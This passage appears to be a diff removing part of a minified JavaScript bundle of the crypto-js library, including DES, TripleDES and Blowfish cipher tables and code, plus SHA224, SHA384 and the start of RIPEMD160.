- 1376256: 2151678016,
- 1441792: 2151682048,
- 1507328: 2147487808,
- 1572864: 2151682112,
- 1638400: 2147483648,
- 1703936: 2151677952,
- 1769472: 4198464,
- 1835008: 2147487744,
- 1900544: 4194304,
- 1966080: 64,
- 2031616: 4096,
- 1081344: 2151677952,
- 1146880: 2151682112,
- 1212416: 0,
- 1277952: 4198400,
- 1343488: 4194368,
- 1409024: 2147483648,
- 1474560: 2147487808,
- 1540096: 64,
- 1605632: 2147483712,
- 1671168: 4096,
- 1736704: 2147487744,
- 1802240: 2151678016,
- 1867776: 4160,
- 1933312: 2151682048,
- 1998848: 4194304,
- 2064384: 4198464
- }, {
- 0: 128,
- 4096: 17039360,
- 8192: 262144,
- 12288: 536870912,
- 16384: 537133184,
- 20480: 16777344,
- 24576: 553648256,
- 28672: 262272,
- 32768: 16777216,
- 36864: 537133056,
- 40960: 536871040,
- 45056: 553910400,
- 49152: 553910272,
- 53248: 0,
- 57344: 17039488,
- 61440: 553648128,
- 2048: 17039488,
- 6144: 553648256,
- 10240: 128,
- 14336: 17039360,
- 18432: 262144,
- 22528: 537133184,
- 26624: 553910272,
- 30720: 536870912,
- 34816: 537133056,
- 38912: 0,
- 43008: 553910400,
- 47104: 16777344,
- 51200: 536871040,
- 55296: 553648128,
- 59392: 16777216,
- 63488: 262272,
- 65536: 262144,
- 69632: 128,
- 73728: 536870912,
- 77824: 553648256,
- 81920: 16777344,
- 86016: 553910272,
- 90112: 537133184,
- 94208: 16777216,
- 98304: 553910400,
- 102400: 553648128,
- 106496: 17039360,
- 110592: 537133056,
- 114688: 262272,
- 118784: 536871040,
- 122880: 0,
- 126976: 17039488,
- 67584: 553648256,
- 71680: 16777216,
- 75776: 17039360,
- 79872: 537133184,
- 83968: 536870912,
- 88064: 17039488,
- 92160: 128,
- 96256: 553910272,
- 100352: 262272,
- 104448: 553910400,
- 108544: 0,
- 112640: 553648128,
- 116736: 16777344,
- 120832: 262144,
- 124928: 537133056,
- 129024: 536871040
- }, {
- 0: 268435464,
- 256: 8192,
- 512: 270532608,
- 768: 270540808,
- 1024: 268443648,
- 1280: 2097152,
- 1536: 2097160,
- 1792: 268435456,
- 2048: 0,
- 2304: 268443656,
- 2560: 2105344,
- 2816: 8,
- 3072: 270532616,
- 3328: 2105352,
- 3584: 8200,
- 3840: 270540800,
- 128: 270532608,
- 384: 270540808,
- 640: 8,
- 896: 2097152,
- 1152: 2105352,
- 1408: 268435464,
- 1664: 268443648,
- 1920: 8200,
- 2176: 2097160,
- 2432: 8192,
- 2688: 268443656,
- 2944: 270532616,
- 3200: 0,
- 3456: 270540800,
- 3712: 2105344,
- 3968: 268435456,
- 4096: 268443648,
- 4352: 270532616,
- 4608: 270540808,
- 4864: 8200,
- 5120: 2097152,
- 5376: 268435456,
- 5632: 268435464,
- 5888: 2105344,
- 6144: 2105352,
- 6400: 0,
- 6656: 8,
- 6912: 270532608,
- 7168: 8192,
- 7424: 268443656,
- 7680: 270540800,
- 7936: 2097160,
- 4224: 8,
- 4480: 2105344,
- 4736: 2097152,
- 4992: 268435464,
- 5248: 268443648,
- 5504: 8200,
- 5760: 270540808,
- 6016: 270532608,
- 6272: 270540800,
- 6528: 270532616,
- 6784: 8192,
- 7040: 2105352,
- 7296: 2097160,
- 7552: 0,
- 7808: 268435456,
- 8064: 268443656
- }, {
- 0: 1048576,
- 16: 33555457,
- 32: 1024,
- 48: 1049601,
- 64: 34604033,
- 80: 0,
- 96: 1,
- 112: 34603009,
- 128: 33555456,
- 144: 1048577,
- 160: 33554433,
- 176: 34604032,
- 192: 34603008,
- 208: 1025,
- 224: 1049600,
- 240: 33554432,
- 8: 34603009,
- 24: 0,
- 40: 33555457,
- 56: 34604032,
- 72: 1048576,
- 88: 33554433,
- 104: 33554432,
- 120: 1025,
- 136: 1049601,
- 152: 33555456,
- 168: 34603008,
- 184: 1048577,
- 200: 1024,
- 216: 34604033,
- 232: 1,
- 248: 1049600,
- 256: 33554432,
- 272: 1048576,
- 288: 33555457,
- 304: 34603009,
- 320: 1048577,
- 336: 33555456,
- 352: 34604032,
- 368: 1049601,
- 384: 1025,
- 400: 34604033,
- 416: 1049600,
- 432: 1,
- 448: 0,
- 464: 34603008,
- 480: 33554433,
- 496: 1024,
- 264: 1049600,
- 280: 33555457,
- 296: 34603009,
- 312: 1,
- 328: 33554432,
- 344: 1048576,
- 360: 1025,
- 376: 34604032,
- 392: 33554433,
- 408: 34603008,
- 424: 0,
- 440: 34604033,
- 456: 1049601,
- 472: 1024,
- 488: 33555456,
- 504: 1048577
- }, {
- 0: 134219808,
- 1: 131072,
- 2: 134217728,
- 3: 32,
- 4: 131104,
- 5: 134350880,
- 6: 134350848,
- 7: 2048,
- 8: 134348800,
- 9: 134219776,
- 10: 133120,
- 11: 134348832,
- 12: 2080,
- 13: 0,
- 14: 134217760,
- 15: 133152,
- 2147483648: 2048,
- 2147483649: 134350880,
- 2147483650: 134219808,
- 2147483651: 134217728,
- 2147483652: 134348800,
- 2147483653: 133120,
- 2147483654: 133152,
- 2147483655: 32,
- 2147483656: 134217760,
- 2147483657: 2080,
- 2147483658: 131104,
- 2147483659: 134350848,
- 2147483660: 0,
- 2147483661: 134348832,
- 2147483662: 134219776,
- 2147483663: 131072,
- 16: 133152,
- 17: 134350848,
- 18: 32,
- 19: 2048,
- 20: 134219776,
- 21: 134217760,
- 22: 134348832,
- 23: 131072,
- 24: 0,
- 25: 131104,
- 26: 134348800,
- 27: 134219808,
- 28: 134350880,
- 29: 133120,
- 30: 2080,
- 31: 134217728,
- 2147483664: 131072,
- 2147483665: 2048,
- 2147483666: 134348832,
- 2147483667: 133152,
- 2147483668: 32,
- 2147483669: 134348800,
- 2147483670: 134217728,
- 2147483671: 134219808,
- 2147483672: 134350880,
- 2147483673: 134217760,
- 2147483674: 134219776,
- 2147483675: 0,
- 2147483676: 133120,
- 2147483677: 2080,
- 2147483678: 131104,
- 2147483679: 134350848
- }],
- l = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679],
- h = i.DES = n.extend({
- _doReset: function() {
- for (var e = this._key.words, t = [], r = 0; r < 56; r++) {
- var o = s[r] - 1;
- t[r] = e[o >>> 5] >>> 31 - o % 32 & 1
- }
- for (var n = this._subKeys = [], i = 0; i < 16; i++) {
- var u = n[i] = [],
- l = c[i];
- for (r = 0; r < 24; r++) u[r / 6 | 0] |= t[(a[r] - 1 + l) % 28] << 31 - r % 6, u[4 + (r / 6 | 0)] |= t[28 + (a[r + 24] - 1 + l) % 28] << 31 - r % 6;
- for (u[0] = u[0] << 1 | u[0] >>> 31, r = 1; r < 7; r++) u[r] = u[r] >>> 4 * (r - 1) + 3;
- u[7] = u[7] << 5 | u[7] >>> 27
- }
- var h = this._invSubKeys = [];
- for (r = 0; r < 16; r++) h[r] = n[15 - r]
- },
- encryptBlock: function(e, t) {
- this._doCryptBlock(e, t, this._subKeys)
- },
- decryptBlock: function(e, t) {
- this._doCryptBlock(e, t, this._invSubKeys)
- },
- _doCryptBlock: function(e, t, r) {
- this._lBlock = e[t], this._rBlock = e[t + 1], d.call(this, 4, 252645135), d.call(this, 16, 65535), f.call(this, 2, 858993459), f.call(this, 8, 16711935), d.call(this, 1, 1431655765);
- for (var o = 0; o < 16; o++) {
- for (var n = r[o], i = this._lBlock, s = this._rBlock, a = 0, c = 0; c < 8; c++) a |= u[c][((s ^ n[c]) & l[c]) >>> 0];
- this._lBlock = s, this._rBlock = i ^ a
- }
- var h = this._lBlock;
- this._lBlock = this._rBlock, this._rBlock = h, d.call(this, 1, 1431655765), f.call(this, 8, 16711935), f.call(this, 2, 858993459), d.call(this, 16, 65535), d.call(this, 4, 252645135), e[t] = this._lBlock, e[t + 1] = this._rBlock
- },
- keySize: 2,
- ivSize: 2,
- blockSize: 2
- });
-
- function d(e, t) {
- var r = (this._lBlock >>> e ^ this._rBlock) & t;
- this._rBlock ^= r, this._lBlock ^= r << e
- }
-
- function f(e, t) {
- var r = (this._rBlock >>> e ^ this._lBlock) & t;
- this._lBlock ^= r, this._rBlock ^= r << e
- }
- t.DES = n._createHelper(h);
- var p = i.TripleDES = n.extend({
- _doReset: function() {
- var e = this._key.words;
- if (2 !== e.length && 4 !== e.length && e.length < 6) throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192.");
- var t = e.slice(0, 2),
- r = e.length < 4 ? e.slice(0, 2) : e.slice(2, 4),
- n = e.length < 6 ? e.slice(0, 2) : e.slice(4, 6);
- this._des1 = h.createEncryptor(o.create(t)), this._des2 = h.createEncryptor(o.create(r)), this._des3 = h.createEncryptor(o.create(n))
- },
- encryptBlock: function(e, t) {
- this._des1.encryptBlock(e, t), this._des2.decryptBlock(e, t), this._des3.encryptBlock(e, t)
- },
- decryptBlock: function(e, t) {
- this._des3.decryptBlock(e, t), this._des2.encryptBlock(e, t), this._des1.decryptBlock(e, t)
- },
- keySize: 6,
- ivSize: 2,
- blockSize: 2
- });
- t.TripleDES = n._createHelper(p)
- }(), e.TripleDES
- }(v(), $(), j(), ce(), he())), Oe.exports
-}
-var qe, Ue = {
- exports: {}
-};
-var We, Je = {
- exports: {}
-};
-var Xe, Ke = {
- exports: {}
-};
-var Ve, Ge = {
- exports: {}
-};
-
-function Qe() {
- return Ve || (Ve = 1, Ge.exports = function(e) {
- return function() {
- var t = e,
- r = t.lib.BlockCipher,
- o = t.algo;
- const n = 16,
- i = [608135816, 2242054355, 320440878, 57701188, 2752067618, 698298832, 137296536, 3964562569, 1160258022, 953160567, 3193202383, 887688300, 3232508343, 3380367581, 1065670069, 3041331479, 2450970073, 2306472731],
- s = [
- [3509652390, 2564797868, 805139163, 3491422135, 3101798381, 1780907670, 3128725573, 4046225305, 614570311, 3012652279, 134345442, 2240740374, 1667834072, 1901547113, 2757295779, 4103290238, 227898511, 1921955416, 1904987480, 2182433518, 2069144605, 3260701109, 2620446009, 720527379, 3318853667, 677414384, 3393288472, 3101374703, 2390351024, 1614419982, 1822297739, 2954791486, 3608508353, 3174124327, 2024746970, 1432378464, 3864339955, 2857741204, 1464375394, 1676153920, 1439316330, 715854006, 3033291828, 289532110, 2706671279, 2087905683, 3018724369, 1668267050, 732546397, 1947742710, 3462151702, 2609353502, 2950085171, 1814351708, 2050118529, 680887927, 999245976, 1800124847, 3300911131, 1713906067, 1641548236, 4213287313, 1216130144, 1575780402, 4018429277, 3917837745, 3693486850, 3949271944, 596196993, 3549867205, 258830323, 2213823033, 772490370, 2760122372, 1774776394, 2652871518, 566650946, 4142492826, 1728879713, 2882767088, 1783734482, 3629395816, 2517608232, 2874225571, 1861159788, 326777828, 3124490320, 2130389656, 2716951837, 967770486, 1724537150, 2185432712, 2364442137, 1164943284, 2105845187, 998989502, 3765401048, 2244026483, 1075463327, 1455516326, 1322494562, 910128902, 469688178, 1117454909, 936433444, 3490320968, 3675253459, 1240580251, 122909385, 2157517691, 634681816, 4142456567, 3825094682, 3061402683, 2540495037, 79693498, 3249098678, 1084186820, 1583128258, 426386531, 1761308591, 1047286709, 322548459, 995290223, 1845252383, 2603652396, 3431023940, 2942221577, 3202600964, 3727903485, 1712269319, 422464435, 3234572375, 1170764815, 3523960633, 3117677531, 1434042557, 442511882, 3600875718, 1076654713, 1738483198, 4213154764, 2393238008, 3677496056, 1014306527, 4251020053, 793779912, 2902807211, 842905082, 4246964064, 1395751752, 1040244610, 2656851899, 3396308128, 445077038, 3742853595, 3577915638, 679411651, 2892444358, 2354009459, 1767581616, 3150600392, 3791627101, 3102740896, 284835224, 4246832056, 1258075500, 768725851, 2589189241, 3069724005, 3532540348, 1274779536, 3789419226, 2764799539, 1660621633, 3471099624, 4011903706, 913787905, 3497959166, 737222580, 2514213453, 2928710040, 3937242737, 1804850592, 3499020752, 2949064160, 2386320175, 2390070455, 2415321851, 4061277028, 2290661394, 2416832540, 1336762016, 1754252060, 3520065937, 3014181293, 791618072, 3188594551, 3933548030, 2332172193, 3852520463, 3043980520, 413987798, 3465142937, 3030929376, 4245938359, 2093235073, 3534596313, 375366246, 2157278981, 2479649556, 555357303, 3870105701, 2008414854, 3344188149, 4221384143, 3956125452, 2067696032, 3594591187, 2921233993, 2428461, 544322398, 577241275, 1471733935, 610547355, 4027169054, 1432588573, 1507829418, 2025931657, 3646575487, 545086370, 48609733, 2200306550, 1653985193, 298326376, 1316178497, 3007786442, 2064951626, 458293330, 2589141269, 3591329599, 3164325604, 727753846, 2179363840, 146436021, 1461446943, 4069977195, 705550613, 3059967265, 3887724982, 4281599278, 3313849956, 1404054877, 2845806497, 146425753, 1854211946],
- [1266315497, 3048417604, 3681880366, 3289982499, 290971e4, 1235738493, 2632868024, 2414719590, 3970600049, 1771706367, 1449415276, 3266420449, 422970021, 1963543593, 2690192192, 3826793022, 1062508698, 1531092325, 1804592342, 2583117782, 2714934279, 4024971509, 1294809318, 4028980673, 1289560198, 2221992742, 1669523910, 35572830, 157838143, 1052438473, 1016535060, 1802137761, 1753167236, 1386275462, 3080475397, 2857371447, 1040679964, 2145300060, 2390574316, 1461121720, 2956646967, 4031777805, 4028374788, 33600511, 2920084762, 1018524850, 629373528, 3691585981, 3515945977, 2091462646, 2486323059, 586499841, 988145025, 935516892, 3367335476, 2599673255, 2839830854, 265290510, 3972581182, 2759138881, 3795373465, 1005194799, 847297441, 406762289, 1314163512, 1332590856, 1866599683, 4127851711, 750260880, 613907577, 1450815602, 3165620655, 3734664991, 3650291728, 3012275730, 3704569646, 1427272223, 778793252, 1343938022, 2676280711, 2052605720, 1946737175, 3164576444, 3914038668, 3967478842, 3682934266, 1661551462, 3294938066, 4011595847, 840292616, 3712170807, 616741398, 312560963, 711312465, 1351876610, 322626781, 1910503582, 271666773, 2175563734, 1594956187, 70604529, 3617834859, 1007753275, 1495573769, 4069517037, 2549218298, 2663038764, 504708206, 2263041392, 3941167025, 2249088522, 1514023603, 1998579484, 1312622330, 694541497, 2582060303, 2151582166, 1382467621, 776784248, 2618340202, 3323268794, 2497899128, 2784771155, 503983604, 4076293799, 907881277, 423175695, 432175456, 1378068232, 4145222326, 3954048622, 3938656102, 3820766613, 2793130115, 2977904593, 26017576, 3274890735, 3194772133, 1700274565, 1756076034, 4006520079, 3677328699, 720338349, 1533947780, 354530856, 688349552, 3973924725, 1637815568, 332179504, 3949051286, 53804574, 2852348879, 3044236432, 1282449977, 3583942155, 3416972820, 4006381244, 1617046695, 2628476075, 3002303598, 1686838959, 431878346, 2686675385, 1700445008, 1080580658, 1009431731, 832498133, 3223435511, 2605976345, 2271191193, 2516031870, 1648197032, 4164389018, 2548247927, 300782431, 375919233, 238389289, 3353747414, 2531188641, 2019080857, 1475708069, 455242339, 2609103871, 448939670, 3451063019, 1395535956, 2413381860, 1841049896, 1491858159, 885456874, 4264095073, 4001119347, 1565136089, 3898914787, 1108368660, 540939232, 1173283510, 2745871338, 3681308437, 4207628240, 3343053890, 4016749493, 1699691293, 1103962373, 3625875870, 2256883143, 3830138730, 1031889488, 3479347698, 1535977030, 4236805024, 3251091107, 2132092099, 1774941330, 1199868427, 1452454533, 157007616, 2904115357, 342012276, 595725824, 1480756522, 206960106, 497939518, 591360097, 863170706, 2375253569, 3596610801, 1814182875, 2094937945, 3421402208, 1082520231, 3463918190, 2785509508, 435703966, 3908032597, 1641649973, 2842273706, 3305899714, 1510255612, 2148256476, 2655287854, 3276092548, 4258621189, 236887753, 3681803219, 274041037, 1734335097, 3815195456, 3317970021, 1899903192, 1026095262, 4050517792, 356393447, 2410691914, 3873677099, 3682840055],
- [3913112168, 2491498743, 4132185628, 2489919796, 1091903735, 1979897079, 3170134830, 3567386728, 3557303409, 857797738, 1136121015, 1342202287, 507115054, 2535736646, 337727348, 3213592640, 1301675037, 2528481711, 1895095763, 1721773893, 3216771564, 62756741, 2142006736, 835421444, 2531993523, 1442658625, 3659876326, 2882144922, 676362277, 1392781812, 170690266, 3921047035, 1759253602, 3611846912, 1745797284, 664899054, 1329594018, 3901205900, 3045908486, 2062866102, 2865634940, 3543621612, 3464012697, 1080764994, 553557557, 3656615353, 3996768171, 991055499, 499776247, 1265440854, 648242737, 3940784050, 980351604, 3713745714, 1749149687, 3396870395, 4211799374, 3640570775, 1161844396, 3125318951, 1431517754, 545492359, 4268468663, 3499529547, 1437099964, 2702547544, 3433638243, 2581715763, 2787789398, 1060185593, 1593081372, 2418618748, 4260947970, 69676912, 2159744348, 86519011, 2512459080, 3838209314, 1220612927, 3339683548, 133810670, 1090789135, 1078426020, 1569222167, 845107691, 3583754449, 4072456591, 1091646820, 628848692, 1613405280, 3757631651, 526609435, 236106946, 48312990, 2942717905, 3402727701, 1797494240, 859738849, 992217954, 4005476642, 2243076622, 3870952857, 3732016268, 765654824, 3490871365, 2511836413, 1685915746, 3888969200, 1414112111, 2273134842, 3281911079, 4080962846, 172450625, 2569994100, 980381355, 4109958455, 2819808352, 2716589560, 2568741196, 3681446669, 3329971472, 1835478071, 660984891, 3704678404, 4045999559, 3422617507, 3040415634, 1762651403, 1719377915, 3470491036, 2693910283, 3642056355, 3138596744, 1364962596, 2073328063, 1983633131, 926494387, 3423689081, 2150032023, 4096667949, 1749200295, 3328846651, 309677260, 2016342300, 1779581495, 3079819751, 111262694, 1274766160, 443224088, 298511866, 1025883608, 3806446537, 1145181785, 168956806, 3641502830, 3584813610, 1689216846, 3666258015, 3200248200, 1692713982, 2646376535, 4042768518, 1618508792, 1610833997, 3523052358, 4130873264, 2001055236, 3610705100, 2202168115, 4028541809, 2961195399, 1006657119, 2006996926, 3186142756, 1430667929, 3210227297, 1314452623, 4074634658, 4101304120, 2273951170, 1399257539, 3367210612, 3027628629, 1190975929, 2062231137, 2333990788, 2221543033, 2438960610, 1181637006, 548689776, 2362791313, 3372408396, 3104550113, 3145860560, 296247880, 1970579870, 3078560182, 3769228297, 1714227617, 3291629107, 3898220290, 166772364, 1251581989, 493813264, 448347421, 195405023, 2709975567, 677966185, 3703036547, 1463355134, 2715995803, 1338867538, 1343315457, 2802222074, 2684532164, 233230375, 2599980071, 2000651841, 3277868038, 1638401717, 4028070440, 3237316320, 6314154, 819756386, 300326615, 590932579, 1405279636, 3267499572, 3150704214, 2428286686, 3959192993, 3461946742, 1862657033, 1266418056, 963775037, 2089974820, 2263052895, 1917689273, 448879540, 3550394620, 3981727096, 150775221, 3627908307, 1303187396, 508620638, 2975983352, 2726630617, 1817252668, 1876281319, 1457606340, 908771278, 3720792119, 3617206836, 2455994898, 1729034894, 1080033504],
- [976866871, 3556439503, 2881648439, 1522871579, 1555064734, 1336096578, 3548522304, 2579274686, 3574697629, 3205460757, 3593280638, 3338716283, 3079412587, 564236357, 2993598910, 1781952180, 1464380207, 3163844217, 3332601554, 1699332808, 1393555694, 1183702653, 3581086237, 1288719814, 691649499, 2847557200, 2895455976, 3193889540, 2717570544, 1781354906, 1676643554, 2592534050, 3230253752, 1126444790, 2770207658, 2633158820, 2210423226, 2615765581, 2414155088, 3127139286, 673620729, 2805611233, 1269405062, 4015350505, 3341807571, 4149409754, 1057255273, 2012875353, 2162469141, 2276492801, 2601117357, 993977747, 3918593370, 2654263191, 753973209, 36408145, 2530585658, 25011837, 3520020182, 2088578344, 530523599, 2918365339, 1524020338, 1518925132, 3760827505, 3759777254, 1202760957, 3985898139, 3906192525, 674977740, 4174734889, 2031300136, 2019492241, 3983892565, 4153806404, 3822280332, 352677332, 2297720250, 60907813, 90501309, 3286998549, 1016092578, 2535922412, 2839152426, 457141659, 509813237, 4120667899, 652014361, 1966332200, 2975202805, 55981186, 2327461051, 676427537, 3255491064, 2882294119, 3433927263, 1307055953, 942726286, 933058658, 2468411793, 3933900994, 4215176142, 1361170020, 2001714738, 2830558078, 3274259782, 1222529897, 1679025792, 2729314320, 3714953764, 1770335741, 151462246, 3013232138, 1682292957, 1483529935, 471910574, 1539241949, 458788160, 3436315007, 1807016891, 3718408830, 978976581, 1043663428, 3165965781, 1927990952, 4200891579, 2372276910, 3208408903, 3533431907, 1412390302, 2931980059, 4132332400, 1947078029, 3881505623, 4168226417, 2941484381, 1077988104, 1320477388, 886195818, 18198404, 3786409e3, 2509781533, 112762804, 3463356488, 1866414978, 891333506, 18488651, 661792760, 1628790961, 3885187036, 3141171499, 876946877, 2693282273, 1372485963, 791857591, 2686433993, 3759982718, 3167212022, 3472953795, 2716379847, 445679433, 3561995674, 3504004811, 3574258232, 54117162, 3331405415, 2381918588, 3769707343, 4154350007, 1140177722, 4074052095, 668550556, 3214352940, 367459370, 261225585, 2610173221, 4209349473, 3468074219, 3265815641, 314222801, 3066103646, 3808782860, 282218597, 3406013506, 3773591054, 379116347, 1285071038, 846784868, 2669647154, 3771962079, 3550491691, 2305946142, 453669953, 1268987020, 3317592352, 3279303384, 3744833421, 2610507566, 3859509063, 266596637, 3847019092, 517658769, 3462560207, 3443424879, 370717030, 4247526661, 2224018117, 4143653529, 4112773975, 2788324899, 2477274417, 1456262402, 2901442914, 1517677493, 1846949527, 2295493580, 3734397586, 2176403920, 1280348187, 1908823572, 3871786941, 846861322, 1172426758, 3287448474, 3383383037, 1655181056, 3139813346, 901632758, 1897031941, 2986607138, 3066810236, 3447102507, 1393639104, 373351379, 950779232, 625454576, 3124240540, 4148612726, 2007998917, 544563296, 2244738638, 2330496472, 2058025392, 1291430526, 424198748, 50039436, 29584100, 3605783033, 2429876329, 2791104160, 1057563949, 3255363231, 3075367218, 3463963227, 1469046755, 985887462]
- ];
- var a = {
- pbox: [],
- sbox: []
- };
-
- function c(e, t) {
- let r = t >> 24 & 255,
- o = t >> 16 & 255,
- n = t >> 8 & 255,
- i = 255 & t,
- s = e.sbox[0][r] + e.sbox[1][o];
- return s ^= e.sbox[2][n], s += e.sbox[3][i], s
- }
-
- function u(e, t, r) {
- let o, i = t,
- s = r;
- for (let t = 0; t < n; ++t) i ^= e.pbox[t], s = c(e, i) ^ s, o = i, i = s, s = o;
- return o = i, i = s, s = o, s ^= e.pbox[n], i ^= e.pbox[n + 1], {
- left: i,
- right: s
- }
- }
-
- function l(e, t, r) {
- let o, i = t,
- s = r;
- for (let t = n + 1; t > 1; --t) i ^= e.pbox[t], s = c(e, i) ^ s, o = i, i = s, s = o;
- return o = i, i = s, s = o, s ^= e.pbox[1], i ^= e.pbox[0], {
- left: i,
- right: s
- }
- }
-
- function h(e, t, r) {
- for (let t = 0; t < 4; t++) {
- e.sbox[t] = [];
- for (let r = 0; r < 256; r++) e.sbox[t][r] = s[t][r]
- }
- let o = 0;
- for (let s = 0; s < n + 2; s++) e.pbox[s] = i[s] ^ t[o], o++, o >= r && (o = 0);
- let a = 0,
- c = 0,
- l = 0;
- for (let t = 0; t < n + 2; t += 2) l = u(e, a, c), a = l.left, c = l.right, e.pbox[t] = a, e.pbox[t + 1] = c;
- for (let t = 0; t < 4; t++)
- for (let r = 0; r < 256; r += 2) l = u(e, a, c), a = l.left, c = l.right, e.sbox[t][r] = a, e.sbox[t][r + 1] = c;
- return !0
- }
- var d = o.Blowfish = r.extend({
- _doReset: function() {
- if (this._keyPriorReset !== this._key) {
- var e = this._keyPriorReset = this._key,
- t = e.words,
- r = e.sigBytes / 4;
- h(a, t, r)
- }
- },
- encryptBlock: function(e, t) {
- var r = u(a, e[t], e[t + 1]);
- e[t] = r.left, e[t + 1] = r.right
- },
- decryptBlock: function(e, t) {
- var r = l(a, e[t], e[t + 1]);
- e[t] = r.left, e[t + 1] = r.right
- },
- blockSize: 2,
- keySize: 4,
- ivSize: 2
- });
- t.Blowfish = r._createHelper(d)
- }(), e.Blowfish
- }(v(), $(), j(), ce(), he())), Ge.exports
-}
-y.exports = function(e) {
- return e
-}(v(), k(), S(), T(), $(), D(), j(), N(), L(), q || (q = 1, U.exports = function(e) {
- return r = (t = e).lib.WordArray, o = t.algo, n = o.SHA256, i = o.SHA224 = n.extend({
- _doReset: function() {
- this._hash = new r.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428])
- },
- _doFinalize: function() {
- var e = n._doFinalize.call(this);
- return e.sigBytes -= 4, e
- }
- }), t.SHA224 = n._createHelper(i), t.HmacSHA224 = n._createHmacHelper(i), e.SHA224;
- var t, r, o, n, i
-}(v(), L())), X(), K || (K = 1, V.exports = function(e) {
- return r = (t = e).x64, o = r.Word, n = r.WordArray, i = t.algo, s = i.SHA512, a = i.SHA384 = s.extend({
- _doReset: function() {
- this._hash = new n.init([new o.init(3418070365, 3238371032), new o.init(1654270250, 914150663), new o.init(2438529370, 812702999), new o.init(355462360, 4144912697), new o.init(1731405415, 4290775857), new o.init(2394180231, 1750603025), new o.init(3675008525, 1694076839), new o.init(1203062813, 3204075428)])
- },
- _doFinalize: function() {
- var e = s._doFinalize.call(this);
- return e.sigBytes -= 16, e
- }
- }), t.SHA384 = s._createHelper(a), t.HmacSHA384 = s._createHmacHelper(a), e.SHA384;
- var t, r, o, n, i, s, a
-}(v(), k(), X())), Z(), Y || (Y = 1, ee.exports = function(e) {
- /** @preserve
- (c) 2012 by Cédric Mesnil. All rights reserved.
-
- Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
-
- - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
- - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
-
- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
- return function() {
- var t = e,
- r = t.lib,
- o = r.WordArray,
- n = r.Hasher,
- i = t.algo,
- s = o.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]),
- a = o.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]),
- c = o.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]),
- u = o.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]),
- l = o.create([0, 1518500249, 1859775393, 2400959708, 2840853838]),
- h = o.create([1352829926, 1548603684, 1836072691, 2053994217, 0]),
- d = i.RIPEMD160 = n.extend({
- _doReset: function() {
- this._hash = o.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520])
- },
- _doProcessBlock: function(e, t) {
- for (var r = 0; r < 16; r++) {
- var o = t + r,
- n = e[o];
- e[o] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8)
- }
- var i, d, b, w, k, _, x, S, B, A, T, C = this._hash.words,
- E = l.words,
- $ = h.words,
- R = s.words,
- z = a.words,
- D = c.words,
- H = u.words;
